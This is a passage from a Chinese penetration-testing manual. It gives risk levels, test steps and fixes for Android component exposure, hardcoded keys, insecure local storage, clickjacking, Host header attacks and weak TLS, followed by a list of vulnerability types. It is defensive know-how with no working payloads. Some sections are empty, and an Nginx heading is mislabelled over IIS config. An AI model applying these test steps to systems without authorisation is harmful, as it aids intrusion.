则检测不通过，若android:exported=”true”,且有android:permission属性，

</activity>

此检测通过，若android:export=”false”，

</activity>

则检测通过；

第二种：有intent-filter标签：

在被测应用的AndroidManifest.xml文件中，检测activity，若无android:exported属性，且action为android.intent.action.MAIN（主activity），

<intent-filter>

</intent-filter>

</activity>

则检测通过，若无android:exported属性，则检测不通过。

修复方案：

建议严格校验该组件的Intent参数，拒绝空的Intent等非法Intent传入并打开该组件。

Broadcast Receiver组件本地拒绝服务

风险等级：中

漏洞描述：

当攻击者本地精心构造一个Intent时则有可能会触发导出组件的异常，造成本地拒绝服务攻击，影响程序的正常使用。

测试步骤：

修复方案：

将没有必要设置成导出的组件设置为不可导出，即在AndroidManifest.xml文件中将相应的配置项中增加exported=false属性。对需要设置成导出的组件，对传入的Intent的参数做严格的检查和过滤。

Content Provider组件本地拒绝服务

风险等级：中

漏洞描述：

当攻击者本地精心构造一个Intent时则有可能会触发导出组件的异常，造成本地拒绝服务攻击，影响程序的正常使用。

测试步骤：

修复方案：

Service组件本地拒绝服务

风险等级：中

漏洞描述：

当攻击者本地精心构造一个Intent时则有可能会触发导出组件的异常，造成本地拒绝服务攻击，影响程序的正常使用。

测试步骤：

修复方案：

漏洞描述：

恶意攻击者可以根据代码中硬编码的加密密钥写出相应的加解密算法，从而破解、伪造客户端程序的通信数据包，对用户的个人信息造成损害。

测试步骤：

对安装包进行，检查安装包中各类文件是否包含硬编码的的敏感信息。对可执行文件可通过逆向方法寻找，也可以直接使用 16 进制编辑器查找。

修复方案：

客户端应用内不应该放置非对称加密算法的私钥，而对称加密算法中的加密密钥也应该经由安全信道传输，通过随机数生成。

本地数据文件存储安全

风险等级：中

漏洞描述：

在APP客户端本地文件中保存了用户敏感数据（如密码、卡号、证件号等）。

测试步骤：

2．对本目录下的文件内容（通常是 xml）进行检查，看是否包含敏感信息。

5.在应用的私有目录以及 S D 卡中包含应用名称的子目录中进行遍历，检查是否有包含敏感信息的文件。系统调用记录 Strace，查找应用和文件 IO 相关的系统调用（如 open，read，write 等），对客户端读写的文件内容进行检查。

修复方案：

对写入本地的手势密码信息加密处理进行保存。

单击劫持：X-Frame-Options头丢失

风险等级：中

漏洞描述：

X-Frame-Options HTTP 响应头，可以指示浏览器是否应该加载一个 iframe 中的页面。网站可以通过设置 X-Frame-Options 阻止站点内的页面被其他页面嵌入从而防止点击劫持。当X-Frame-Options HTTP 响应头丢失的时候，攻击者可以伪造一个页面，该页面使用前端技术精心构造一些诱惑用户点击的按钮、图片，该元素下方就是一个iframe标签，当用户点击后上层的元素后，就相当于点击了iframe标签引入的网页页面。

测试步骤：

1.使用CURL请求网站，查看响应头是否包含X-Frame-Options，如：curl -I http://target

2.如果网站响应请求不存在X-Frame-Options响应头，则说名存在该漏洞，如下图：

3.如果网站响应请求存在X-Frame-Options响应头，则说名不存在该漏洞，如下图：

修复方案：

使用 X-Frame-Options 有三个可选的值：
DENY：浏览器拒绝当前页面加载任何Frame页面
SAMEORIGIN：frame页面的地址只能为同源域名下的页面
ALLOW-FROM：origin为允许frame加载的页面地址
若网站内有使用iframe标签链接同源资源的，需要设置为“SAMEORIGIN”

Apache
配置 Apache 在所有页面上发送 X-Frame-Options 响应头，需要把下面这行添加到 site 的配置中:
Header always append X-Frame-Options SAMEORIGIN

Nginx
配置 IIS 发送 X-Frame-Options 响应头，添加下面的配置到 Web.config 文件中:
<system.webServer>
...
<httpProtocol>
<customHeaders>
<add name="X-Frame-Options" value="SAMEORIGIN" />
</customHeaders>
</httpProtocol>
...
</system.webServer>

Tomcat
在conf/web.xml中添加如下配置：
<filter>
<filter-name>httpHeaderSecurity</filter-name>
<filter-class>org.apache.catalina.filters.HttpHeaderSecurityFilter</filter-class>
<init-param>
<param-name>antiClickJackingOption</param-name>
<param-value>SAMEORIGIN</param-value>
</init-param>
<async-supported>true</async-supported>
</filter>
<filter-mapping>
<filter-name>httpHeaderSecurity</filter-name>
<url-pattern>/*</url-pattern>
<dispatcher>REQUEST</dispatcher>
<dispatcher>FORWARD</dispatcher>
</filter-mapping>

Host头攻击

风险等级：中

漏洞描述：

为了方便获取网站域名，开发人员一般依赖于请求包中的Host首部字段。例如，在php里用_SERVER["HTTP_HOST"]。但是这个Host字段值是不可信赖的(可通过HTTP代理工具篡改)，如果应用程序没有对Host字段值进行处理，就有可能造成恶意代码的传入。

测试步骤：

使用burpsuite工具抓取目标页面请求，具体测试项如下：

（跳转）场景一：正常请求，响应302，Location首部字段指明跳转的地址，其中Location字段值为Host字段指定的地址。

（拼接）场景二：正常请求，正常响应，将Host字段值拼接到标签属性值中。

（代码注入）场景三：这其实也属于拼接，只不过在场景二的基础上写入了恶意代码。

修复方案：

使用SERVER_NAME代替host header。

SSL/TLS类安全漏洞

风险等级：中

漏洞描述：

SSL/TLS内使用的不安全的算法或版本较低，导致协议容易受到中间人攻击、敏感信息泄露等问题。

测试步骤：

（1）将域名或ip放入https://myssl.com/网站进行检测

（2）若支持TLS1.0、TLS1.1、ssl3、ssl2则存在该漏洞。

修复方案：

1、及时升级应用到最新版本；2、避免使用版本较低的SSL/TLS协议；3、禁用不安全的加密算法。

渗透测试之安全手册（干货）相关推荐

tomcat temp 大量 upload 文件_渗透测试之文件上传漏洞总结
文末下载上传环境源码客户端 js检查一般都是在网页上写一段javascript脚本,校验上传文件的后缀名,有白名单形式也有黑名单形式. 查看源代码可以看到有如下代码对上传文件类型进行了限制: 我们 ...
渗透测试之后台查找，如何查找网站后台
渗透测试之后台查找,如何查找网站后台 1.当前页面信息浏览查看图片的相关属性查看网站底部管理入口和版权信息 robots文件故意请求不存在的页面 2.当前页面后台猜解 CMS指纹识别猜解常见后 ...
渗透测试之破解密码（3）
渗透测试之破解密码(3) 常见密码破解技术被动在线攻击主动在线攻击离线攻击彩虹表使用彩虹表破解密码使用非技术性方法使用闪存驱动器窃取密码提升权限 TRK(Trinity Rescue ...
渗透测试之SQL注入基础
渗透测试之SQL注入基础 SQL注入类型按照数据类型类型来分类按照执行效果来分类(页面回显效果) 按照数据提交的方式来分类判断注入类型的方法 MySQL注入基础联合查询注入布尔注入时间盲注 ...
Kali渗透测试之端口扫描1——UDP、TCP、僵尸扫描、隐蔽扫描
端口扫描每个服务器上面都会跑很多应用,每个应用都会侦听某些端口,通过侦听端口接收来自客户端或其他用户对应用程序的访问.所以在发现目标主机存活后,我们需要知道目标主机上都开放了那些端口,应用程序的漏洞 ...
@渗透测试之信息收集
目录渗透测试之信息收集一.信息收集之概述 1.1 渗透一个目标系统,最常见的信息手机目标有如下几种: 1.2 信息收集的作用二.利用搜索引擎收集信息 2.1 利用搜索引擎的收集目标主要有以下几种 ...
Python渗透测试之ARP毒化和协议应用
Python渗透测试之ARP毒化和协议应用 1. ARP毒化 ARP毒化是一种比较老的渗透测试技术,通过ARP毒化技术分析并提取内网流量中的敏感信息,往往会有许多意外的收获. 1.1 工作原理 A ...
近源渗透测试之Keylogger实战
近源渗透测试之Keylogger实战转载,侵删原创大好人来源于公众号:雷神众测原文链接:https://mp.weixin.qq.com/s?__biz ... 8a1fcbc183d84 ...
Kali渗透测试之主动侦查和被动侦查以及maltego的使用
Kali渗透测试之maltego注册和使用一.注册maltego 1.打开命令行终端,可以在kali桌面右键打开,也可以使用快捷键Ctrl+Alt+T打开 kali本身应该已经自带maltego,但 ...

渗透测试之安全手册（干货）

用户账户可重复

无账户锁定机制

弱口令

不安全的错误提示

密码不应返回前端

登录认证可被绕过

强密码机制检测

用户密码重置

更改密码时不需要输入原密码

展业系统单因素认证

图形验证码

无图形验证码功能

图形验证码机制可以被绕过

验证码可识别

前端可控的验证码生成机制

验证码返回前端

验证码重复利用

验证码重复利用

短信验证码

短信轰炸

短信验证码机制可以被绕过

短信验证码未绑定

短信内容可控

短信验证码返回到前端

短信验证码可爆破

短信验证码重复利用

短信验证码重复利用 （重复）

验证码返回前端

脆弱的加密方式

敏感信息明文传输

后台管理界面外网暴露

垂直越权访问

水平越权访问

未授权访问

内网接口无校验访问

互联网接口无校验访问

未验证的URL跳转

会话超时

账号可同时登陆

会话安全

cookie属性安全

会话固定

重放漏洞

防篡改

支付漏洞

敏感信息泄露

不安全的HTTP协议

启用SSL弱密码

备份文件泄露

SVN文件信息泄露

测试页面、示例文件未删除

安装文件未删除

JS文件敏感信息泄露

敏感信息未模糊化

内部IP地址泄露

WEB.XML配置文件泄露

服务器路径泄露

目录遍历

robots文件配置

敏感数据get传输

敏感数据get传输

版本信息泄露

应用程序调试信息泄露

远程代码执行

Struts 2远程代码执行

WebLogic Server远程代码执行

JBOSS远程代码执行

反序列化漏洞

SQL注入

xml注入

命令注入

xpath注入

链接注入

存储型XSS

反射型XSS

DOM型XSS

任意文件上传

任意文件下载/读取

任意文件删除

短信验证码重复利用（重复）